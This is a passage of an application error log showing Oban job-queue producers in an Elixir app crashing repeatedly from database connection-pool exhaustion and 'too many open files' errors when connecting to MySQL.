23:45:20.251254Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.28591>, refresh_timer: #Reference<0.2525715032.1099431938.28590>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:45:20.249508Z], limit: 20, uuid: "416cc6ec-0f86-4fb1-bf26-89e169a2ba12", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:20.249515Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.827>, refresh_timer: #Reference<0.2525715032.1068498948.28095>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:45:20.252321Z], limit: 5, uuid: "dd9f2e54-392b-446c-ae43-27d220b75a4f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:20.252326Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.826>, refresh_timer: #Reference<0.2525715032.1077673987.818>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:45:20.245765Z], limit: 10, uuid: "5e634dd9-e0ee-41ea-bc3c-44312dde8e7e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:20.245772Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.828>, refresh_timer: #Reference<0.2525715032.1068498948.28096>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:33.708000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:35.613000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:36.025000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:38.247000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:39.517000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:39.864000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:40.618000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:45:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:45:32.243162Z], limit: 10, uuid: "fa35ec1f-cad7-4251-88aa-c845d6e8c801", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:32.243167Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.28837>, refresh_timer: #Reference<0.2525715032.1099431938.28810>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:45:32.239323Z], limit: 50, uuid: "e5556506-fa36-4efc-83ae-9c49e0f1bef5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:32.239328Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.28803>, refresh_timer: #Reference<0.2525715032.1099431938.28765>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:45:32.238691Z], limit: 3, uuid: "4b637018-b7bb-46b2-a240-fc52769aba23", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:32.238700Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.28804>, refresh_timer: #Reference<0.2525715032.1099431938.28763>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:45:32.239940Z], limit: 20, uuid: "517779cc-74c8-4111-995b-4e84d278a619", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:32.239947Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.28238>, refresh_timer: #Reference<0.2525715032.1068498948.28237>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:45:32.239113Z], limit: 5, uuid: "05eaf4c6-9116-45fd-83e0-7e6230b8bcbd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:45:32.239119Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.28802>, refresh_timer: #Reference<0.2525715032.1099431938.28762>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:45:44.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
